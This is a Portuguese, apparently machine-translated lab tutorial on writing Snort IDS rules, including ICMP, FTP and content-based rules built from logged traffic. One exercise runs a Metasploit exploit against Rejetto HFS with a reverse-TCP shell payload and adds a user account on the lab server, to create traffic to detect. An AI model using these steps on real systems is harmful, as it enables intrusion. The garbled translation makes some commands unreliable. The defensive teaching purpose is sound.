Nesta série de exercícios de laboratório, vamos demonstrar várias técnicas na escrita de regras de Snort, desde regras básicas de sintaxe até regras de escrita destinadas a detectar tipos específicos de ataques. Também vamos examinar algumas abordagens básicas para análise e otimização do desempenho das regras.

Exercício 1: Snort como um IDS

Snort é mais conhecido como um IDS. Do website snort.org:

“Snort® é um sistema de prevenção e detecção de intrusão de rede de código aberto (IDS/IPS) desenvolvido pelo Sourcefire. Combinando os benefícios da assinatura, protocolo e inspeção baseada em anomalias, Snort é a tecnologia IDS/IPS mais amplamente implantada em todo o mundo. Com milhões de downloads e quase 400.000 usuários registrados, Snort se tornou o padrão de fato para IPS”

Deve-se mencionar também que o Sourcefire foi adquirido pela Cisco no início de outubro de 2013.

Snort pode ser executado essencialmente em três modos diferentes: modo IDS, modo de registo e modo sniffer. Vamos usar o Snort nesta parte do laboratório no modo IDS, e mais tarde usá-lo como um registrador de pacotes. Nós estaremos usando o Ubuntu Server VM, o Windows Server 2012 R2 VM e o Kali Linux VM para este laboratório.

Você tem a versão 2.9.8 do Snort instalada no seu Ubuntu Server VM. Inicie seu Ubuntu Server VM, faça login com as credenciais fornecidas no início deste guia e abra uma shell de terminal clicando duas vezes no atalho Desktop. (Alternativamente, você pode pressionar Ctrl+Alt+T para abrir um novo shell.)

Para verificar a versão Snort, digite snort -V e pressione Enter.

Next, precisamos configurar nosso valor HOME_NET: a rede que estaremos protegendo. Primeiro, digite ifconfig na sua shell de terminal para ver a configuração da rede. Note o endereço IP e o valor da interface de rede. Veja a imagem abaixo (seu IP pode ser diferente).

Next, digite o seguinte comando para abrir o arquivo de configuração do snort no editor de texto gedit:

sudo gedit /etc/snort/snort.conf

Entrar a senha para o Ubuntu Server. Quando o arquivo snort.conf abrir, role para baixo até encontrar a configuração do ipvar HOME_NET. Você vai querer mudar o endereço IP para ser sua sub-rede de classe C real. Atualmente, deve ser 192.168.132.0/24. Você simplesmente mudará a parte do endereço IP para corresponder ao seu IP VM do Ubuntu Server, certificando-se de deixar o “.0/24″ no final.

Select Save from the bar on top e feche o ficheiro. Neste ponto, o Snort está pronto para ser executado. Exceto que ele não tem nenhuma regra carregada. Para verificar, execute o seguinte comando:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Aqui estamos dizendo ao Snort para testar (-T) o arquivo de configuração (-c aponta para sua localização) na interface eth0 (digite o valor da sua interface se for diferente). Isto produzirá uma grande quantidade de saída. Role para cima até ver “0 Regras do Snort lidas” (veja a imagem abaixo).

Passemos pela sintaxe desta regra:

Cabeçalhos de regras

  • alerta – Ação de regra. Snort irá gerar um alerta quando a condição definida for cumprida.
  • qualquer – IP da fonte. Snort irá olhar para todas as fontes.
  • qualquer – Porta da fonte. O Snort irá olhar para todas as portas.
  • -> – Direção. Da fonte ao destino.
  • $HOME_NET – IP de destino. Estamos usando o valor HOME_NET do arquivo snort.conf.
  • qualquer – Porta de destino. Snort irá olhar para todas as portas da rede protegida.

Opções da regra:

  • msg: “Teste ICMP” – Snort incluirá esta mensagem com o alerta.
  • sid:1000001 – ID da regra do snort. Lembre-se de que todos os números menores que 1.000.000 são reservados; é por isso que estamos começando com 1.000.001. (Você pode usar qualquer número, desde que seja maior que 1.000.000.)
  • rev:1 – Número de revisão. Esta opção permite uma manutenção mais fácil das regras.
  • classtype:icmp-event – Categoriza a regra como um “icmp-event”, uma das categorias pré-definidas de Snort. Esta opção ajuda na organização das regras.

Click Salvar e fechar o arquivo. Agora vamos executar o comando de teste de configuração do Snort novamente:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Se você rolar para cima, você deve ver que uma regra foi carregada.

Agora, vamos iniciar o Snort no modo IDS e dizer-lhe para mostrar alertas para o console:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Again, estamos apontando o Snort para o arquivo de configuração que ele deve usar (-c) e especificando a interface (-i eth0). A opção -A console imprime alertas para a saída padrão, e -q é para o modo “silencioso” (não mostra banner e relatório de status). Você não deve ver nenhuma saída quando você digitar o comando porque o Snort não detectou nenhuma atividade especificada na regra que nós escrevemos.

Vamos gerar alguma atividade e ver se nossa regra está funcionando.

Launch seu Kali Linux VM. Você pode precisar digitar startx após digitar as credenciais para chegar ao GUI. Uma vez lá, abra uma shell de terminal clicando no ícone na barra de menu superior.

Agora comece a pingar seu Ubuntu Server com o seguinte comando (use seu IP do Ubuntu Server ao invés de .x.x):

ping 192.168.x.x

Deixe-o rodar por alguns segundos e pressione Ctrl+C para parar e retornar ao prompt.

>

Agora retorne ao seu servidor Ubuntu rodando Snort IDS. Você deve ver os alertas gerados para cada pedido ICMP Echo e mensagem de resposta Echo, com o texto da mensagem que especificamos na opção msg:

>

Vemos também o endereço IP de origem do host responsável pela atividade geradora do alerta. No exemplo acima, é 192.168.132.133; o seu pode ser diferente (mas será o IP do seu Kali Linux VM). Nossa regra de teste está funcionando! Pressione Ctrl+C para parar o Snort e retornar ao prompt.

Agora vamos escrever outra regra, desta vez, um pouco mais específica. Abra nosso arquivo local.rules em um editor de texto:

sudo gedit /etc/snort/rules/local.rules

Primeiro, vamos comentar nossa primeira regra. Coloque um sinal de libra (#) na frente dela. Em uma nova linha, escreva a seguinte regra (usando seu IP Kali Linux para x.x):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP connection attempt”; sid:1000002; rev:1;)

Aqui alteramos o protocolo para TCP, usamos um IP de origem específico, definimos o número da porta de destino para 21 (porta padrão para conexões FTP) e alteramos o texto da mensagem de alerta. Save and close the file. Agora vamos rodar o Snort no modo IDS novamente, mas desta vez, vamos adicionar mais uma opção, como segue:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Estamos dizendo ao Snort para registrar os alertas gerados no formato ASCII ao invés do pcap padrão. Quando o Snort estiver rodando (novamente, você não verá nenhuma saída de imediato), vá para seu Kali Linux VM e digite o seguinte comando em uma shell de terminal (usando seu endereço IP Ubuntu Server):

ftp 192.168.x.x

Voltar ao Ubuntu Server. Você deve ver que um alerta foi gerado.

Para ter certeza de que a regra não está gerando nenhum falso positivo, você pode abrir outro terminal shell no Ubuntu Server VM e tentar se conectar ao mesmo servidor FTP. Você não deve ver nenhum novo alerta. Pressione Ctrl+C para parar o Snort.

Agora execute o seguinte comando para fazer a listagem do diretório de log do Snort:

ls /var/log/snort

Você deve ver algo similar à seguinte imagem:

O arquivo snort.log.* (você pode ter mais de um se você gerou mais de uma atividade geradora de alerta antes) é o arquivo de log .pcap. Ele não pode ser lido com um editor de texto. O endereço IP que você vê (o seu será diferente da imagem) é o IP de origem do alerta que acabamos de ver para a nossa regra de FTP. É um diretório. Vamos ver o que está dentro:

sudo ls /var/log/snort/192.168.x.x

Você pode ver que há lá um arquivo com o nome do protocolo (TCP) e os números das portas envolvidas na atividade. Podemos ler esse arquivo com um editor de texto ou apenas usar o comando cat:

sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

Recebemos a mesma informação que vimos na saída do console com alguns detalhes adicionais.

Que tal os ficheiros .pcap? Podemos usar o Wireshark, um popular analisador de protocolos de rede, para examiná-los. Insira sudo wireshark para iniciar o programa. Clique em OK para confirmar as mensagens de erro/aviso que aparecerem. Uma vez na janela principal do Wireshark, vá ao arquivo → Open.

>Navegue até o diretório /var/log/snort, selecione o arquivo snort.log.* e clique em Open.

Muito mais informações aqui! Clique para expandir qualquer um dos itens no painel do meio. Agora podemos ver o conteúdo de cada pacote.

Close Wireshark. Vamos usá-lo muito em todo o labs.

Para nossa próxima regra, vamos escrever uma que procure por algum conteúdo, além de protocolos, IPs e números de portas. Primeiro, precisamos gerar alguma atividade que nos forneça o conteúdo necessário para uma regra.

Lançamento do seu Windows Server 2012 R2 VM e faça o log in com as credenciais fornecidas no início deste guia. Este VM tem um servidor FTP rodando nele. Primeiro, descubra o endereço IP do seu Windows Server 2102 R2 VM. Você pode fazer isso abrindo o prompt de comando do atalho da área de trabalho e digitando ipconfig.

Note o valor “IPv4 Address” (o seu pode ser diferente da imagem). Agora volte ao seu Ubuntu Server VM e digite ftp 192.168.x.x (usando o endereço IP que você acabou de procurar). Quando solicitado por nome e senha, basta pressionar Enter. Examine a saída.

Como podemos ver, digitar credenciais inválidas resulta em uma mensagem que diz “Login ou senha incorreta”. Agora temos informação suficiente para escrever a nossa regra. Digite quit para sair do FTP e retornar ao prompt. Abra nosso arquivo local.rules novamente:

sudo gedit /etc/snort/rules/local.rules

Desde que estaremos trabalhando muito com este arquivo, você pode deixá-lo aberto e iniciar uma nova shell de terminal para inserir comandos.

Adicionar a seguinte regra na nova linha:

alertar tcp $HOME_NET 21 -> qualquer (msg: “FTP failed login”; content: “Login ou senha incorreta”; sid:1000003; rev:1;)

Note que agora definimos o valor HOME_NET como nosso IP de origem, pois estaremos procurando as respostas do servidor FTP de saída. Salve o arquivo. Agora vamos testar a regra. Inicie o Snort no modo IDS:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Agora vá ao seu Kali Linux VM e tente conectar-se ao servidor FTP no Windows Server 2012 R2 (ftp 192.168.x.x), digitando qualquer valor para Nome e Senha. Digite quit para retornar ao prompt. Volte para o servidor VM do Ubuntu Server. Você deve ver vários alertas gerados por ambas as regras ativas que carregamos no Snort. Pressione CTRL+C para parar o Snort.

Exercício 2: Snort como um registrador de pacotes

Com a rápida mudança do cenário de ataques e vetores lá fora hoje, podemos nem saber o que devemos procurar até que tenhamos visto o ataque. Então talvez, depois de examinarmos esse tráfego, possamos criar uma regra para esse “novo” ataque específico. É exatamente assim que as regras padrão do Snort disponíveis publicamente são criadas. Agora vamos executar o Snort no modo de registro e ver o que somos capazes de identificar o tráfego baseado nos ataques que fazemos.

Neste exercício, vamos simular um ataque no nosso Windows Server enquanto executamos o Snort no modo de registro de pacotes. Então examinaremos os pacotes registrados para ver se podemos identificar uma assinatura de ataque.

Certifique-se de que as três VMs (Ubuntu Server, Windows Server e Kali Linux) estão rodando. No seu Kali Linux VM, insira o seguinte em um terminal shell:

msfconsole

Esta irá lançar o Metasploit Framework, uma popular plataforma de teste de penetração. Levará alguns segundos para ser carregado. Ignore o erro de conexão do banco de dados. Espere até ver o prompt msf>. Uma vez lá, digite a seguinte série de comandos:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM IP address)

set RHOST 192.168.x.x.x (Windows Server 2012 R2 VM endereço IP)

set RPORT 8081

Aqui configuramos um exploit contra uma versão vulnerável do servidor de arquivos Rejetto HFS HTTP que está rodando no nosso Windows Server 2012 R2 VM.

Antes de executar o exploit, nós precisamos iniciar o Snort no modo de registro de pacotes. Vá ao seu Ubuntu Server VM e digite o seguinte comando em uma shell de terminal:

sudo snort -dev -q -l /var/log/snort -i eth0

Você não verá nenhuma saída. Agora volte para o exploit msf que você configurou no Kali Linux VM e entre no exploit. Se o exploit foi bem sucedido, você deve terminar com um comando shell:

Agora que temos acesso ao sistema, vamos fazer o seguinte:

Criar uma nova conta de usuário:

Nome da conta de usuário da rede P@ssword12 /ADD

Mude diretórios para c:

cd

Faça um novo diretório que seja seu nome.

mkdir yourname

Agora pressione Ctrl+C e responda y para “sim” para fechar o seu comando shell access.

Next, vá para o seu Ubuntu Server VM e pressione Ctrl+C para parar o Snort. Insira sudo wireshark no seu terminal shell. Em Wireshark, vá para File → Abra e navegue até /var/log/snort. Neste ponto nós teremos vários arquivos snort.log.* lá. Selecione o que foi modificado mais recentemente e clique em Open.

Você deve ver alguns pacotes capturados.

Precisamos encontrar os que estão relacionados ao nosso ataque simulado. Em Wireshark, selecione Edit → Find Packet. No diálogo resultante, selecione o botão de rádio String. Em seguida, selecione Packet Bytes para o critério Search In. Em seguida, para a string de busca, digite o nome de usuário que você criou.

Após ter a caixa de diálogo de busca configurada, clique no botão Find. A pesquisa deve encontrar o pacote que contém a string que você pesquisou. Vá em frente e selecione esse pacote. Ele será o de cor laranja escuro. Clique com o botão direito e selecione Follow TCP Stream.

Esta ação deve mostrar todos os comandos que foram digitados naquela sessão TCP. Isto incluirá a criação da conta, assim como as outras ações.

Após verificar os resultados, vá em frente e feche a janela do fluxo. Isto deve levá-lo de volta para o pacote que você selecionou no início. Agora aperte a seta para cima até ver a parte ASCII do seu dump hexadecimal mostrar “C:UsersAdministratorDesktophfs2.3b>” no painel inferior. Veja abaixo.

Note a parte selecionada no gráfico acima. Nós usaremos este conteúdo para criar um alerta que nos avisará quando uma shell de comando estiver sendo enviada para outro host como resultado do exploit Rejetto HFS. Minimize a janela Wireshark (não feche-a ainda).

Exercício 3: Construindo uma regra personalizada a partir do tráfego registrado

Queremos ver um alerta aparecer sempre que o Snort ver “C:UsersAdministratorDesktophfs2.3b>”. Vá ao nosso ficheiro local.rules (se o fechou, abra-o novamente como root, usando o mesmo comando que fizemos anteriormente) e adicione a seguinte regra numa nova linha (note que estamos a escapar a todas as barras invertidas para ter a certeza que estão incluídas no conteúdo):

alert tcp $HOME_NET any -> any (msg: “Command Shell Access”; conteúdo: “C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Salve o arquivo. Execute Snort no modo IDS novamente:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Agora volte ao seu Kali Linux VM. Você ainda deve estar no prompt para a exploração do rejetto. Basta inserir o exploit para executá-lo novamente. Espere até obter acesso ao comando shell e retornar ao terminal do Snort no Ubuntu Server. Você deve ver que alertas foram gerados, baseado em nossa nova regra:

Hit Ctrl+C no terminal Kali Linux e digite y para sair da shell de comandos. Então pressione Ctrl+C no terminal Ubuntu Server para parar o Snort.

Neste caso, nós temos algum conteúdo legível por humanos para usar em nossa regra. Mas nem sempre é esse o caso.

Vamos modificar nossa regra para que ela procure por conteúdo que seja representado em formato hexadecimal. Primeiro, em nosso arquivo local.rules, copie nossa última regra e cole-a abaixo na nova linha. Agora comente a regra antiga e mude o valor “rev” da nova regra para “2”. Veja abaixo.

Bring up the Wireshark window with our capture again, with the same payload portion selected. Infelizmente, você não pode copiar os valores hexadecimais diretamente da janela principal do Wireshark, mas existe uma solução fácil que funcionará para nós. Com o conteúdo necessário selecionado, clique com o botão direito do mouse no pacote correspondente (destacado) no painel superior ou na entrada “Data:” destacada no painel do meio e selecione Copy → Bytes → Offset Hex. Veja abaixo.

Agora, em nosso arquivo local.rules, selecione o argumento de conteúdo (tudo entre as aspas) em nossa nova regra, clique com o botão direito do mouse e clique em Colar. Agora remova cuidadosamente todos os espaços extras, quebras de linha e assim por diante, deixando apenas os valores hexadecimais necessários. Depois coloque os símbolos dos canos (|) em ambos os lados. Sua regra final deve se parecer com a imagem abaixo.

Salve o arquivo. Inicie o Snort no modo IDS. A seguir, vá para seu Kali Linux VM e execute o exploit novamente. Espere até obter a shell de comando e veja a saída do Snort. Você deve ver os alertas gerados.

Desta vez nós vemos dois alertas ao invés de quatro porque nós incluímos a representação hexadecimal do símbolo “>” no conteúdo, tornando a regra mais específica.

Pressione Ctrl+C para parar o Snort. Depois, no Kali Linux VM, pressione Ctrl+C e entre y para sair da shell de comando. Digite exit para retornar ao prompt regular.

Esta é apenas uma das noções básicas da escrita de regras do Snort. Mais tarde vamos olhar para algumas técnicas mais avançadas.

Deixe uma resposta

O seu endereço de email não será publicado.